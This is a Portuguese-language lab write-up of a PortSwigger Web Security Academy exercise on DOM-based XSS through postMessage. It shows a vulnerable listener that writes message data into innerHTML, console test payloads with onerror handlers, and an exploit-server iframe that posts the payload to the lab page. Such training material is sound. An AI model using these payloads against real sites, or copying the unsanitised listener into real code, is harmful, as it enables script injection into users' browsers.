> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/dom/xss-dom-via-web-messages.md).

# XSS DOM via Web Messages

Notas sobre XSS DOM via Web Messages para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### XSS no DOM usando mensagens da web

Explore uma vulnerabilidade DOM baseada em XSS com base em mensagens da web (`postMessage`) para fazer com que a `print()` função seja chamada na página-alvo enviando um carregamento via o servidor explorador.

#### Comportamento observado (código-fonte)

A página escuta mensagens enviadas e injeta diretamente o conteúdo recebido em `#ads` o elemento sem sanitização:

<pre class="language-html"><code class="lang-html"><strong>&#x3C;script>
</strong>   window.addEventListener('message', function(e) {
   document.getElementById('ads').innerHTML = e.data;
   })
&#x3C;/script>
</code></pre>

Isso significa que qualquer `e.data` recebido será renderizado como HTML em `#ads`, abrindo caminho para um XSS no DOM se um invasor conseguir enviar uma mensagem controlada.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4e255c56293fb7bae9dbab13a428bf3fd17547c1%2Fimage%20(3070).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Testes interativos (console)

Exemplos de mensagens enviadas pelo console do pai / d

* mensagem de texto simples

```javascript
window.parent.postMessage('This is a test');
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-429f4c132d0eb75347492c18c752075245057e8b%2Fimage%20(3071).png?alt=media" alt=""><figcaption></figcaption></figure>

* injeção HTML

```javascript
window.parent.postMessage('<h1>hello</h1>');
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8d1730a94d7071096829b32f0f32006170103a16%2Fimage%20(3072).png?alt=media" alt="" width="490"><figcaption></figcaption></figure>

* teste de alerta (XSS)

```jsx
window.parent.postMessage("<img src='0' onerror=alert(0)>");
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d84d36b99e74e9f1a4b4dfe32e90ec8a05bab60d%2Fimage%20(3073).png?alt=media" alt=""><figcaption></figcaption></figure>

* causar `print()` ( lente do laboratório)

```javascript
window.parent.postMessage("<img src='0' onerror=print()>");
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f68c2c3630c353a787797ff5fdf2d819d845dd6f%2Fimage%20(3074).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Exploração em iframe no servidor de exploração

Exemplo do HTML hospedado no seu servidor que carrega a página-alvo em um iframe e então envia a carga útil no carregamento do iframe:

```mathml
<iframe
  width="600"
  height="600"
  src="https://0a2300d804f6c0f7810084f10093007d.web-security-academy.net/"
  onload="this.contentWindow.postMessage('This is a test', '*');">
</iframe>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-49f7c1216c1c946e33a1a7aec7b85211c5bc6d3a%2Fimage%20(3075).png?alt=media" alt=""><figcaption></figcaption></figure>

Para disparar `print()` na página-alvo, envie a carga útil contendo `img` elemento com `onerror=print()`:

```html
<iframe
  width="600"
  height="600"
  src="https://0a2300d804f6c0f7810084f10093007d.web-security-academy.net/"
  onload="this.contentWindow.postMessage('<img src=0 onerror=print()>', '*');">
</iframe>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ebf4072e57d42638df89f8e948bd581b7d26a8b5%2Fimage%20(3076).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


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